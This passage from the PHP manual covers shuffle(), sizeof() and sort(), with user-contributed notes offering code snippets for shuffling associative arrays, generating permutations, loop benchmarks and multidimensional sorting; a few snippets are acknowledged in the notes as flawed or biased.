  if ($pos2>=$pos) ++$pos2;     // Adjustment for 'char of interest' posn
  $pos = $np + ($np>=$pos); }   // Return the "normal" swap position
?>

BR = Barrel rotation
BRR/BRL = Barrel rotation to the right/left by 1

The basic algorithm is recursive, with a fixed "1" position identified ($pos=0, below), all sub-possibilities are iterated, then it is replaced with a 0, and then all those sub-possibilities are iterated.
[5, 3] example with leftmost 1 fixed: 11100 -> 10101 -> 10110 -> 11010 -> 10011 -> 11001
[5, 3] continued with leftmost char swap: 11001 -> 01101
[5, 3] continued with leftmost 0 fixed: 01101 -> 00111 -> 01011 -> 01110

When $dir is 1 in the above functions, it represents a net BRR, and $pos represents the starting position of the leftmost 1.
When $dir is -1 in the above functions, it represents a net BRL, and $pos represents the starting position of the rightmost 1.
$pos is essentially used to determine when all the swaps are done.  For example, in rotating 1110 (with $dir=1 and $pos=0) we go through the following: 1101 (and not 0111!), 1011, 0111

Happy New Year,
Csaba Gabor from Vienna
tony at brokerbin dot com 11-Nov-2008 07:26
Here is IMO the simplest and extremely fast way to shuffle an associative array AND keep the key=>value relationship.  However, it ONLY works if there are NO NUMERIC keys AT ALL.  Look into array_merge for the reason why.

<?php

$unshuffled = array('one'=>1,'two'=>2,'three'=>3);

$shuffled = array_merge( array_flip(array_rand($unshuffled,count($unshuffled))),$unshuffled );

?>

peace
Antonio Ognio 06-May-2008 09:42
Another shuffle() implementation that preserves keys, does not use extra memory and perhaps is a bit easier to grasp.

<?php
if (function_exists('shuffle_with_keys')===false) {
  function shuffle_with_keys(&$array) {
    /* Auxiliary array to hold the new order */
    $aux = array();
    /* We work with an array of the keys */
    $keys = array_keys($array);
    /* We shuffle the keys */
    shuffle($keys);
    /* We iterate thru' the new order of the keys */
    foreach($keys as $key) {
      /* We insert the key, value pair in its new order */
      $aux[$key] = $array[$key];
      /* We remove the element from the old array to save memory */
      unset($array[$key]);
    }
    /* The auxiliary array with the new order overwrites the old variable */
    $array = $aux;
  }
}
?>
rich at home dot nl 23-Jan-2008 09:17
Function that does the same as shuffle(), but preserves key=>values.
(Based on (Vladimir Kornea of typetango.com)'s function)

<?php
  function shuffle_assoc(&$array) {
    if (count($array)>1) { //$keys needs to be an array, no need to shuffle 1 item anyway
      $keys = array_rand($array, count($array));

      foreach($keys as $key)
        $new[$key] = $array[$key];

      $array = $new;
    }
    return true; //because it's a wannabe shuffle(), which returns true
  }

  $test = array(1=>'one','two'=>'2',3=>'3');
  print_r($test);
  shuffle_assoc($test);
  print_r($test);

?>

Array
(
    [1] => one
    [two] => 2
    [3] => 3
)
Array
(
    [two] => 2
    [1] => one
    [3] => 3
)
carrox at mail dot ru 23-Dec-2007 02:15
Very fast way to shuffle associative array and keep key=>value

<?php

  $tmp=array("one"=>1,"two"=>2,"three"=>3,"four"=>4);
  $new=array();
  $c=count($tmp);

  $k=array_keys($tmp);
  $v=array_values($tmp);

   while($c>0) {
     $i=array_rand($k);
     $new[$k[$i]]=$v[$i];
     unset($k[$i]); #exlude selected number from list
     $c--;
   }

   print_r($tmp);
   print_r($new);

?>

Result:

Array
(
    [one] => 1
    [two] => 2
    [three] => 3
    [four] => 4
)
Array
(
    [two] => 2
    [three] => 3
    [four] => 4
    [one] => 1
)

And thats all, folks!
downforme at gmx dot at 06-Nov-2007 10:08
my approach to bring some chaos to associative arrays
<?php
define ("SHUFFLEBOTH", 0);
define ("SHUFFLEVALUES", 1);
define ("SHUFFLEKEYS", 2);
function shuffle_assoc(&$array, $mode=SHUFFLEBOTH) {
    $keys = array_keys($array);
    $values = array_values($array);
    if (($mode==SHUFFLEBOTH) || ($mode==SHUFFLEVALUES)) shuffle($values);
    if (($mode==SHUFFLEBOTH) || ($mode==SHUFFLEKEYS)) shuffle($keys);
    $array = array_combine($keys, $values);
}
?>
hauser dot j at gmail dot com 14-Feb-2007 02:19
Permutation using recursion

<?php
function perm($n)
{
    if($n <= 1) return 1;
    else return $n * perm($n-1);
}
?>

Usage example:
<?php $result = perm(8); ?>

$result will be 40320
m227 at tlen dot pl 13-Oct-2006 03:22
here come my three pennies about permutations. I did function below to work with word anagrams, it works flawlessly, however may be seen as a slow one.

<?php
/** (c) on LGPL license 2006.10 michal@glebowski.pl */
function fact($int){
   if($int<2)return 1;
   for($f=2;$int-1>1;$f*=$int--);
   return $f;
}

/** @return string string $s with $n-th character cut */
function del($s, $n) {
    return substr($s, 0, $n).substr($s, $n+1);
}
/**
 * @param $s string word to permute
 * @param $n int n-th permutation
 * @return string n-th permutation (out of strlen(string)!)
 */
function perm($s, $n = null) {

    if ($n === null) return perms($s);

    $r = '';
    $l = strlen($s);
    while ($l--) {
        $f = fact($l);
        $p = floor($n/$f);
        $r.= $s{$p};
        $s = del($s, $p);
        $n-= $p*$f;
    }
    $r.=$s;
    return $r;
}
/** @return array array of all permutations */
function perms($s) {
    $p = array();
    for ($i=0;$i<fact(strlen($s));$i++)    $p[] = perm($s, $i);
    return $p;
}
?>
07-Jun-2006 02:53
Posted below is code that you would expect to work

<?php

$keys = shuffle(array_keys($arr));

foreach ($keys as $key) {

  $arr_elem = $arr[$key];
  // do what you want with the array element

}

?>

This in fact does not work because shuffle returns a boolean true or false. More accurate code using this method would be:

<?php

$keys = array_keys($arr);
shuffle($keys);

foreach ($keys as $key) {

  $arr_elem = $arr[$key];
  // do what you want with the array element

}

?>
alejandro dot garza at itesm dot mx 10-Mar-2006 08:47
This is taken from an O'Reilly Book and modified slightly to return all possible permutations of a 1D array:

<?php

# Modified from http://linuxalpha1.eicn.ch/OReilly_books/books/webprog/pcook/ch04_26.htm
# Takes a non-associatuve 1D (vector) array of items
#  and returns an array of arrays with each possible permutation
function array_2D_permute($items, $perms = array( )) {
static $permuted_array;
    if (empty($items)) {
        $permuted_array[]=$perms;
        #print_r($new);
      #print join(' ', $perms) . "\n";
    }  else {
        for ($i = count($items) - 1; $i >= 0; --$i) {
             $newitems = $items;
             $newperms = $perms;
             list($foo) = array_splice($newitems, $i, 1);
             array_unshift($newperms, $foo);
             array_2D_permute($newitems, $newperms);
         }
         return $permuted_array;
    }
}

$arr=array("Architecture","Mexico","Periodicals","Test");
$result=array_2D_permute($arr);
print_r($result);
?>
bill at SWScripts dot com 22-Sep-2005 09:45
Just a quick note to let people know that shuffle() will work on multidimensional associative arrays provided that the first key is already numeric.

So this array can be shuffled without losing any of the secondary keys or their values:

$array[0]['color'], $array[0]['size'], $array[0]['fabric']
. . .
$array[50]['color'], $array[50]['size'], $array[50]['fabric']

I recently ran up against needing to randomize this array and tried shuffle even though it's not really for associative arrays.

Hope it helps somebody out there.
Markus of CodeWallah.Com 30-Aug-2005 10:55
Here's a pretty little function to shuffle an associative array, taking a bit different approach from the earlier entries.

<?PHP
function ass_array_shuffle ($array) {
    while (count($array) > 0) {
        $val = array_rand($array);
        $new_arr[$val] = $array[$val];
        unset($array[$val]);
    }
    return $new_arr;
}
?>

In the function above, the original array is randomly scavenged upon until nothing is left of it. This removes the need for any temporary variables, or indeed for any superfluous tossing around of stuff.
skissane at iips dot mq dot edu dot au 06-Jun-2005 03:11
note that in PHP 5.0.4 (and assumably earlier versions as well), shuffle internally calls rand(), not mt_rand().

This was important because I was trying to use a fixed seed to get repeatable results, by calling mt_srand(). But of course that doesn't work, since shuffle uses rand() not mt_rand(). The solution is either to use srand() for seeding, or to write your own version of shuffle() using mt_rand(). (See examples which others have contributed; or, just have a look at ext/standard/array.c) mt_rand on many platforms gives better results than the builtin library anyway...

N.B. Obviously, the way the shuffle function is implemented may change without notice in future versions, including e.g. changing to use mt_rand instead.
monte at ohrt dot com 21-Mar-2005 02:10
[EDIT by danbrown AT php DOT net: As pointed out on 25 July, 2008, by "Anonymous", this implementation may have some errors or inconsistencies that may cause this function not to achieve the desired result.  "Anonymous" provided the following link for more information: http://en.wikipedia.org/wiki/Fisher-Yates_shuffle]

This is an attempt to get the Fisher Yates shuffle right, and as optimized as possible. The array items are stepped through from last to first, each being swapped with another between itself and the beginning of the array (N-1 shuffles required.) Using list() to swap array vars instead of a tmp var proved to be slightly slower. Testing for $i = $j decreases performance as the array size increases, so it was left out (elements are always swapped.)

<?php
function fisherYatesShuffle(&$items)
{
   for ($i = count($items) - 1; $i > 0; $i--)
   {
      $j = @mt_rand(0, $i);
      $tmp = $items[$i];
      $items[$i] = $items[$j];
      $items[$j] = $tmp;
   }
}
?>
Bjorn AT smokingmedia DOT com 23-Sep-2004 05:02
To shuffle an associated array and remain the association between keys and values, use this function:

<?php

$test_array = array("first" => 1,"second" => 2,"third" => 3,"fourth" => 4);

function shuffle_assoc($input_array){

   foreach($input_array as $key => $value){
      $temp_array[$value][key] = $key;
      }

   shuffle($input_array);

   foreach($input_array as $key => $value){
      $return_array[$temp_array[$value][key]] = $value;
      }

   return $return_array;
   }

echo "<pre>";
print_r(shuffle_assoc($test_array));
echo "</pre><hr />";

// this will output something like this:
/*
Array
(
    [fourth] => 4
    [second] => 2
    [third] => 3
    [first] => 1
)

*/
?>
Justin Knoll 15-Apr-2004 05:24
This code is very appealing in its simplicity and speed, but it's not a random shuffle:

<?php
function randomcmp($a, $b)
{
  return mt_rand(-1, 1);
}

function swapshuffle(&$array)
{
  srand((double) microtime() * 10000000);
  uksort($array, "randomcmp");
}
?>

This is because uksort calls the C function zend_qsort and this quicksorts the array using the provided comparision function. The pairs of indices selected are biased by the nature of the quicksort algorithm.

One effect is that an element in the middle of the array is heavily biased toward being "shuffled" to the middle. Elements on the edges are biased towards the edges; they're likely to switch edges, but unlikely to end up in the middle.
injunjoel 11-Mar-2004 07:27
Be aware that when shuffling an associative array your associative keys will be lost! example below:
<?php
echo "before shuffle\n";
$numbers = array('first'=>1,'second'=>2,'third'=>3,'fourth'=>4);
foreach($numbers as $key=>$value){
    echo "$key => $value\n";
}
echo "\nafter shuffle\n";
srand((float)microtime() * 1000000);
shuffle($numbers);

foreach($numbers as $key=>$value){
    echo "$key => $value\n";
}

?>
--output--
before shuffle
first => 1
second => 2
third => 3
fourth => 4

after shuffle
0 => 4
1 => 1
2 => 3
3 => 2
rsort
sizeof
Array Functions


Alias of count

shuffle
sort
Array Functions
PHP Manual

sizeof

(PHP 4, PHP 5)

sizeof — Alias of count()

Description

This function is an alias of: count().

User Contributed Notes

Emil Mohamed 22-Dec-2008 01:04
Here are real test for below statements:
Source:
<?php
$arr = array();
$num = 1000000;
echo "Populating test array with $num elements ... ";
for($i=0; $i<$num; $i++) {
    $arr[$i] = microtime(true) . mt_rand();
}
echo "Populated.\n\n";

echo "Start testing FOREAH ... \n";
$start_time = microtime(true);
foreach ($arr as $i=>$elem) {
    $res = isset($arr[$i]);
}
echo "FOREACH result: " . (microtime(true) - $start_time) . "\n\n";

echo "Start testing regular FOR ... \n";
$start_time = microtime(true);
for ($i=0; $i<sizeof($arr); $i++) {
    $res = isset($arr[$i]);
}
echo "Regular for result: " . (microtime(true) - $start_time) . "\n\n";

echo "Starting test for pre-computed size array FOR ... \n";
$start_time = microtime(true);
$sizeof_arr = sizeof($arr);
for ($i=0; $i<$sizeof_arr; $i++) {
    $res = isset($arr[$i]);
}
echo "pre-computed size of array FOR: " . (microtime(true) - $start_time);
?>

Output:
emil@neon:~$ php test-loops-performance.php
Populating test array with 1000000 elements ... Populated.

Start testing FOREAH ...
FOREACH result: 0.500122070312

Start testing regular FOR ...
Regular for result: 0.886044979095

Starting test for pre-computed size array FOR ...
pre-computed size of array FOR: 0.454435825348
umopdn [at] msn [dawt] com 23-Sep-2008 02:38
a) Always try and use PHP's internal routines to iterate through objects of various types (arrays in most examples below).

Instead of interpreting your code to loop through them, they use their own internal routines which are much faster.

(This is why foreach () will run faster than manual interation)

b) It is _always_ good practice to leave as many static resulting functions outside of loops, having operations that return the exact same piece of data every iteration of the loop is not pretty on resources.

c) I agree with PixEye's remarks on sizeof().  In PHP it is just an alias for the true function count().  It has other meanings logically in other languages rather than the number of elements in an object.  This should be avoided as it may confuse developers transitioning to PHP from other languages.
PixEye 23-Sep-2008 09:09
I am quite surprised about previous posts. Here are my advices:

1/ prefer the count() function instead of sizeOf() as sizeOf() is only an alias of count() and does not mean the same in many other languages based on C (avoid ambiguity).

2/ prefer the powerful forEach() function to iterate over arrays.
kaisellgren at gmail dot com 07-Sep-2008 08:54
In addition to previous posts, there is a better and cleaner way to loop through an array using this function.

<?php

for ($a = 0,$b = sizeof($array);$a < $b;$a++)
 echo $array[$a];

?>
rrf5000 at psu dot edu 17-Apr-2008 07:54
To explain previous comments:  the reason that the FOR loop runs faster on LARGE arrays if you set its size to an array first (using count() or sizeof() ) is pretty simple.  It's because if you use

<?php
for ($i = 0; $i < sizeof($huge_array); $i++)
{
  code
}
?>

every time the FOR loop checks its condition (is $i less than sizeof($huge_array) ), it must run the sizeof() function on $huge_array again.  This is what causes the extra processing time, which can become significant on larger arrays.

As a side note, this has been thoroughly commented on both correctly and incorrectly in the User Contributed Notes for the count() function.  Users Jaik, Wulfson, and Anonymous have summed this particular matter up pretty well in their posts http://www.php.net/manual/en/function.count.php#78741 , http://www.php.net/manual/en/function.count.php#78931 , and http://www.php.net/manual/en/function.count.php#79238 .
Andreas dot Schuhmacher87 at googlemail dot com 13-Apr-2008 11:02
also you can use for like this (no count() needed)
<?php
    for($i = 0, $item = ''; false != ($item = $some_array[$i]); $i++) {
        print $item; //index $i of $some_array
        //code
    }
?>
communiti.ch 10-Apr-2008 06:55
If your array is "huge"

It is reccomended to set a variable first for this case:

THIS->

$max = sizeof($huge_array);
for($i = 0; $i < $max;$i++)
{
code...
}

IS QUICKER THEN->

for($i = 0; $i < sizeof($huge_array);$i++)
{
code...
}
svanegmond at tinyplanet dot ca 13-Mar-2008 11:12
For people who use this kind of idiom:

for ($i=0; $i<sizeof($array); $i++) {
   ...
}

At least in PHP4, you will notice a large performance improvement if you switch to:

$max = sizeof($array);
for ($i=0; $i<$max; $i++) {
   ...
}

I had an array with a few thousand items in it, each of them a map with 5 key-value pairs, and just for'ing through the array took a second of CPU on a decent machine.
shuffle
sort
Array Functions


Sort an array

sizeof
uasort
Array Functions
PHP Manual

sort

(PHP 4, PHP 5)

sort — Sort an array

Description

bool sort ( array &$array [, int $sort_flags = SORT_REGULAR ] )

This function sorts an array. Elements will be arranged from lowest to highest when this function has completed.

Parameters

array

The input array.

sort_flags

The optional second parameter sort_flags may be used to modify the sorting behavior using these values:

Sorting type flags:

  • SORT_REGULAR - compare items normally (don't change types)
  • SORT_NUMERIC - compare items numerically
  • SORT_STRING - compare items as strings
  • SORT_LOCALE_STRING - compare items as strings, based on the current locale. Added in PHP 4.4.0 and 5.0.2, it uses the locale, which can be changed using setlocale().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 sort() example

<?php

$fruits = array("lemon", "orange", "banana", "apple");
sort($fruits);
foreach ($fruits as $key => $val) {
    echo "fruits[" . $key . "] = " . $val . "\n";
}

?>

The above example will output:

fruits[0] = apple
fruits[1] = banana
fruits[2] = lemon
fruits[3] = orange

The fruits have been sorted in alphabetical order.

Notes

Note: This function assigns new keys to the elements in array. It will remove any existing keys that may have been assigned, rather than just reordering the keys.

Note: Like most PHP sorting functions, sort() uses an implementation of » Quicksort.

Warning

Be careful when sorting arrays with mixed types values because sort() can produce unpredictable results.

See Also

  • asort() - Sort an array and maintain index association
  • The comparison of array sorting functions

User Contributed Notes

holdoffhunger at gmail dot com 02-Jan-2012 05:02
I wanted a function that would efficiently let me sort a string array by the length of each entry.  Below is a neat trick in logic that allows me to manipulate the sort function.  (1) Get the length of the string, (2) Str_pad the length with 0's, so that it is a definite length, (3) Append that number to the beginning of the string, (4) Then do rsort or sort normally.  Below is an rsort implementation...

<?php

    // Released Under Affero General Public License, Version 3 (AGPL3)
    // Author: holdoffhunger@gmail.com

    $array_of_data = array(        "hello",
                    "php",
                    "is",
                    "awesome",
                    "1",
                    "1234",
                    "12",
                    "9");

    print("<pre>");
    print_r($array_of_data);

    /*  Output Here Is:
            Array
        (
            [0] => hello
            [1] => php
            [2] => is
            [3] => awesome
            [4] => 1
            [5] => 1234
            [6] => 12
            [7] => 9
        )
    */

    $number_of_entries = count($array_of_data);

    for($i = 0; $i < $number_of_entries; $i++)
    {
        $current_entry = $array_of_data[$i];
        $current_entry_length = strlen($current_entry);
        $appendable_entry_length = str_pad($current_entry_length, 10, "0", STR_PAD_LEFT);
        $array_of_data[$i] = $appendable_entry_length . " /|\/|\/|\ " . $array_of_data[$i];
    }

    rsort($array_of_data);

    for($i = 0; $i < $number_of_entries; $i++)
    {
        $current_entry = $array_of_data[$i];
        $current_entry_explosion = explode(" /|\/|\/|\ ", $current_entry);
        $array_of_data[$i] = $current_entry_explosion[1];
    }

    print_r($array_of_data);
    print("</pre>");

    /*  Sorted Output Here Is:
        Array
        (
            [0] => awesome
            [1] => hello
            [2] => 1234
            [3] => php
            [4] => is
            [5] => 12
            [6] => 9
            [7] => 1
        )
    */

?>
Walter Tross 16-Dec-2011 02:38
unless you specify the second argument, "regular" comparisons will be used. I quote from the page on comparison operators:
"If you compare a number with a string or the comparison involves numerical strings, then each string is converted to a number and the comparison performed numerically."
What this means is that "10" < "1a", and "1a" < "2", but "10" > "2". In other words, regular PHP string comparisons are not transitive.
This implies that the output of sort() can in rare cases depend on the order of the input array:
<?php
function echo_sorted($a)
{
   echo "{$a[0]} {$a[1]} {$a[2]}";
   sort($a);
   echo " => {$a[0]} {$a[1]} {$a[2]}\n";
}
// on PHP 5.2.6:
echo_sorted(array( "10", "1a", "2")); // => 10 1a 2
echo_sorted(array( "10", "2", "1a")); // => 1a 2 10
echo_sorted(array( "1a", "10", "2")); // => 2 10 1a
echo_sorted(array( "1a", "2", "10")); // => 1a 2 10
echo_sorted(array( "2", "10", "1a")); // => 2 10 1a
echo_sorted(array( "2", "1a", "10")); // => 10 1a 2
?>
ajanata at gmail dot com 20-Oct-2011 09:13
This took me longer than it should have to figure out, but if you want the behavior of sort($array, SORT_STRING) (that is, re-indexing the array unlike natcasesort) in a case-insensitive manner, it is a simple matter of doing usort($array, strcasecmp).
holdoffhunger at gmail dot com 18-Jul-2011 09:14
I have discovered an interesting trick with the sort function.  Many coders are using it to sort options for a user, because a computer will only need sorted data in limited cases.  However, every coder wants their sorted data to be usable.  It's very common to find any sorted data online, and to find options, "Sort by Date," "Sort Alphabetically," etc., etc., whether you're looking at an online catalogue or some bulletin board.

The trick is to use a combination of html commenting and str_pad's to do definitive "sort by" functions.  Let me demonstrate with an example: consider two arrays, Sorted_By_Date and Sorted_By_Name.  You want every element to be "<option value=something>Option Name</option", so that you can do a simple foreach statement that prints every option value.  But, sorting these arrays will technically sort just sort whatever you put into "value".  So, here's a neat trick.  Make every entry "<!-- Sort_Value --><option value=something>Option Name</option."  That way, when you sort, it'll have to sort technically by whatever is the Sort_Value.

The greatness of this trick is that you can make as many "sort this data by X" fields as you want!  Just create multiple arrays, each with the same option values and names, but with a different value put in "Sort_Value", which could be a date, a name, a price, etc..  With numbers, you may need to use the str_pad function, to push all of the zeros out to the left, for a proper sort.  For instance, in my code, that looks like...

<?php

                $number_of_versions_sort_value = str_pad($number_of_versions, 20, "0", STR_PAD_LEFT);

?>
alex dot hristov dot 88 at gmail dot com 16-Jun-2011 07:26
As some people have mentioned before sorting a multidimentional array can be a bit tricky. it took me quite a while to get it going but it works as a charm:

<?php
//$order has to be either asc or desc
 function sortmulti ($array, $index, $order, $natsort=FALSE, $case_sensitive=FALSE) {
        if(is_array($array) && count($array)>0) {
            foreach(array_keys($array) as $key)
            $temp[$key]=$array[$key][$index];
            if(!$natsort) {
                if ($order=='asc')
                    asort($temp);
                else
                    arsort($temp);
            }
            else
            {
                if ($case_sensitive===true)
                    natsort($temp);
                else
                    natcasesort($temp);
            if($order!='asc')
                $temp=array_reverse($temp,TRUE);
            }
            foreach(array_keys($temp) as $key)
                if (is_numeric($key))
                    $sorted[]=$array[$key];
                else
                    $sorted[$key]=$array[$key];
            return $sorted;
        }
    return $sorted;
}
?>
markrose at markrose dot ca 01-Jun-2011 11:54
I've yet to come across a fast way to merge sorted arrays by a user value. Merging the arrays and using PHP's usort isn't efficient, as it doesn't take advantage of the existing sorting. So I wrote my own merge sorted arrays by user value function. The limit parameter can be used be used to limit the number of results (there is no point sorting more results than needed). This sort is stable: values will be taken preferentially from the first, then second, etc., array inside $merge_arrays.

Note that this function will fail if a user value is boolean false. It could be adapted to hold the best value inside an array at some performance penalty. It could also be adapted to comparing strings case-insensitively.

To give you some idea of the performance, my machine will sort out the first 1000 values of 10 sorted arrays of 1000 values each in under 40 ms, using an integer sort field. Not fast by C standards, but a vast improvement over usort'ing 10,000 values.

<?php
function merge_sorted_arrays_by_field ($merge_arrays, $sort_field, $sort_desc = false, $limit = 0)
{
    $array_count = count($merge_arrays);

    // fast special cases...
    switch ($array_count)
    {
        case 0: return array();
        case 1: return $limit ? array_slice(reset($merge_arrays), 0, $limit) : reset($merge_arrays);
    }

    if ($limit === 0)
        $limit = PHP_INT_MAX;

    // rekey merge_arrays array 0->N
    $merge_arrays = array_values($merge_arrays);

    $best_array = false;
    $best_value = false;

    $results = array();

    // move sort order logic outside the inner loop to speed things up
    if ($sort_desc)
    {
        for ($i = 0; $i < $limit; ++$i)
        {
            for ($j = 0; $j < $array_count; ++$j)
            {
                // if the array $merge_arrays[$j] is empty, skip to next
                if (false === ($current_value = current($merge_arrays[$j])))
                    continue;

                // if we don't have a value for this round, or if the current value is bigger...
                if ($best_value === false || $current_value[$sort_field] > $best_value[$sort_field])
                {
                    $best_array = $j;
                    $best_value = $current_value;
                }
            }

            // all arrays empty?
            if ($best_value === false)
                break;

            $results[] = $best_value;
            $best_value = false;
            next($merge_arrays[$best_array]);
        }
    }
    else
    {
        for ($i = 0; $i < $limit; ++$i)
        {
            for ($j = 0; $j < $array_count; ++$j)
            {
                if (false === ($current_value = current($merge_arrays[$j])))
                    continue;

                // if we don't have a value for this round, or if the current value is smaller...
                if ($best_value === false || $current_value[$sort_field] < $best_value[$sort_field])
                {
                    $best_array = $j;
                    $best_value = $current_value;
                }
            }

            // all arrays empty?
            if ($best_value === false)
                break;

            $results[] = $best_value;
            $best_value = false;
            next($merge_arrays[$best_array]);
        }
    }

    return $results;
}
?>
cmarshall at gmx dot de 17-May-2011 03:10
I read up on various problems re: sort() and German Umlaut chars and my head was soon spinning - bug in sort() or not, solution via locale or not, etc. ... (a total newbie here).

The obvious solution for me was quick and dirty: transform the Umlaut chars (present as HTML codes in my case) to their normal equivalent ('ä' = 'ae', 'ö' = 'oe', 'ü' = 'ue', 'ß' = 'ss' etc.), sort the array, then transform back. However there are cases in which a 'Mueller' is really that and does NOT need to be transformed into 'Müller' afterwards. Hence I for example replace the Umlaut itself with it's normal equivalent plus a char not used in the string otherwise (e.g. '_') so that the transfer back to Umlaut would only take place on certain combinations.

Of course any other char instead of '_' can be used as additional char (influencing the sort result). I know that my solution is rough at the edges and may cause other sort problems but it was sufficient for my purpose.

The array '$dat' in this example was filled with German town names (I actually worked with a multiple array ('$dat[][]') but stripped the code down to this as it's easier to understand):

<?php
// START Pre-sorting (Umlaut -> normal letters)
$max = count($dat);
for($totcnt = 0; $totcnt < $max; $totcnt++){
   $dat[$totcnt]=str_replace('&szlig;','ss_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&Auml;','Ae_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&auml;','ae_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&Ouml;','Oe_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&ouml;','oe_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&Uuml;','Ue_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&uuml;','ue_',$dat[$totcnt]);
}
// END Pre-sorting (Umlaut -> normal letters)

// START Sorting //
function compare_towns($a, $b)
{
return strnatcmp($a, $b);
}
usort($dat, 'compare_towns');
// END Sorting //

// START Post-sorting (normal letters -> Umlaut)
for($totcnt = 0; $totcnt < $max; $totcnt++){
   $dat[$totcnt]=str_replace('ss_','&szlig;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('Ae_','&Auml;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('ae_','&auml;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('Oe_','&Ouml;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('oe_','&ouml;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('Ue_','&Uuml;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('ue_','&uuml;',$dat[$totcnt]);
}
// END Post-sorting (normal letters -> Umlaut)
?>
anaz114119 at gmail dot com 24-Dec-2010 02:34
sort from textfile by coloumn
example name||date||time||comments
if you want to sort by date
$column = 2
<?php
function array_sort($array,$column){
 $column = $column-1;
 foreach($array as $line){
 $bits = explode("||",$line);
 $bits ="$bits[$column]**$line";
 $array1[]=$bits;
}
 asort($array1);
 foreach($array1 as $line){
 $bit = explode("**",$line);
 $bit ="$bit[1]";
 $array2[]=$bit;
}
 return$array2;
}
?>
poulou_0 at hotmail dot com 21-Dec-2010 12:59
if you are not interested in high or low case sort

<?php
//where
$sortable_array[$k] = $v2;
//put
$sortable_array[$k] = strtolower($v2);

//and where
$sortable_array[$k] = $v;
//put
$sortable_array[$k] = strtolower($v);
?>
phpdotnet at m4tt dot co dot uk 16-Aug-2010 07:03
Simple function to sort an array by a specific key. Maintains index association.

<?php

function array_sort($array, $on, $order=SORT_ASC)
{
    $new_array = array();
    $sortable_array = array();

    if (count($array) > 0) {
        foreach ($array as $k => $v) {
            if (is_array($v)) {
                foreach ($v as $k2 => $v2) {
                    if ($k2 == $on) {
                        $sortable_array[$k] = $v2;
                    }
                }
            } else {
                $sortable_array[$k] = $v;
            }
        }

        switch ($order) {
            case SORT_ASC:
                asort($sortable_array);
            break;
            case SORT_DESC:
                arsort($sortable_array);
            break;
        }

        foreach ($sortable_array as $k => $v) {
            $new_array[$k] = $array[$k];
        }
    }

    return $new_array;
}

$people = array(
    12345 => array(
        'id' => 12345,
        'first_name' => 'Joe',
        'surname' => 'Bloggs',
        'age' => 23,
        'sex' => 'm'
    ),
    12346 => array(
        'id' => 12346,
        'first_name' => 'Adam',
        'surname' => 'Smith',
        'age' => 18,
        'sex' => 'm'
    ),
    12347 => array(
        'id' => 12347,
        'first_name' => 'Amy',
        'surname' => 'Jones',
        'age' => 21,
        'sex' => 'f'
    )
);

print_r(array_sort($people, 'age', SORT_DESC)); // Sort by oldest first
print_r(array_sort($people, 'surname', SORT_ASC)); // Sort by surname

/*
Array
(
    [12345] => Array
        (
            [id] => 12345
            [first_name] => Joe
            [surname] => Bloggs
            [age] => 23
            [sex] => m
        )

    [12347] => Array
        (
            [id] => 12347
            [first_name] => Amy
            [surname] => Jones
            [age] => 21
            [sex] => f
        )

    [12346] => Array
        (
            [id] => 12346
            [first_name] => Adam
            [surname] => Smith
            [age] => 18
            [sex] => m
        )

)
Array
(
    [12345] => Array
        (
            [id] => 12345
            [first_name] => Joe
            [surname] => Bloggs
            [age] => 23
            [sex] => m
        )

    [12347] => Array
        (
            [id] => 12347
            [first_name] => Amy
            [surname] => Jones
            [age] => 21
            [sex] => f
        )

    [12346] => Array
        (
            [id] => 12346
            [first_name] => Adam
            [surname] => Smith
            [age] => 18
            [sex] => m
        )

)
*/

?>
eriewave at hotmail dot com 29-Mar-2010 01:16
If you need to sort an array containing some equivalent values and you want the equivalents to end up next to each other in the overall order (similar to a MySQL's ORDER BY output), rather than breaking the function, do this:

<?php

sort($array, ksort($array))

?>

-When the sort() function finds two equivalents, it will sort them arbitrarily by their key #'s as a second parameter.

-Dirk
Dollar Hauler Admin 11-Mar-2010 10:10
I could never find a way to sort multidimensional arrays with 5+ keys while maintaining the data structure, but here it is:

(you can add an infinite number of keys, but it has to be added manually :\ )

<?php

$array[0]['name']  = 'Chris';
$array[0]['phone'] = '3971095';
$array[0]['year']  = '1978';
$array[0]['address'] = 'Street 1';

$array[1]['name']  = 'Breanne';
$array[1]['phone'] = '3766350';
$array[1]['year']  = '1990';
$array[1]['address'] = 'Street 2';

$array[2]['name']  = 'Dusty';
$array[2]['phone'] = '1541120';
$array[2]['year']  = '1982';
$array[2]['address'] = 'Street 3';

function multisort($array, $sort_by, $key1, $key2=NULL, $key3=NULL, $key4=NULL, $key5=NULL, $key6=NULL){
    // sort by ?
    foreach ($array as $pos =>  $val)
        $tmp_array[$pos] = $val[$sort_by];
    asort($tmp_array);

    // display however you want
    foreach ($tmp_array as $pos =>  $val){
        $return_array[$pos][$sort_by] = $array[$pos][$sort_by];
        $return_array[$pos][$key1] = $array[$pos][$key1];
        if (isset($key2)){
            $return_array[$pos][$key2] = $array[$pos][$key2];
            }
        if (isset($key3)){
            $return_array[$pos][$key3] = $array[$pos][$key3];
            }
        if (isset($key4)){
            $return_array[$pos][$key4] = $array[$pos][$key4];
            }
        if (isset($key5)){
            $return_array[$pos][$key5] = $array[$pos][$key5];
            }
        if (isset($key6)){
            $return_array[$pos][$key6] = $array[$pos][$key6];
            }
        }
    return $return_array;
    }

//usage (only enter the keys you want sorted):

$sorted = multisort($array,'year','name','phone','address');
print_r($sorted);

//output:
Array ( [0] => Array ( [year] => 1978 [name] => Chris [phone] => 3971095 [address] => Street 1 ) [2] => Array ( [year] => 1982 [name] => Dusty [phone] => 1541120 [address] => Street 3 ) [1] => Array ( [year] => 1990 [name] => Breanne [phone] => 3766350 [address] => Street 2 ) )
Brecht Cloetens 23-Nov-2009 03:57
<?php

/**
 * function: array_columns
 * author: Brecht Cloetens
 * params: $a = array() // original array
 *         $c = int() // number of columns
 */
function array_columns(&$a, $c=2)
{
    $m = ceil(count($a)/$c);
    $j = 0;
    for($i=0; $i<$m; $i++) {
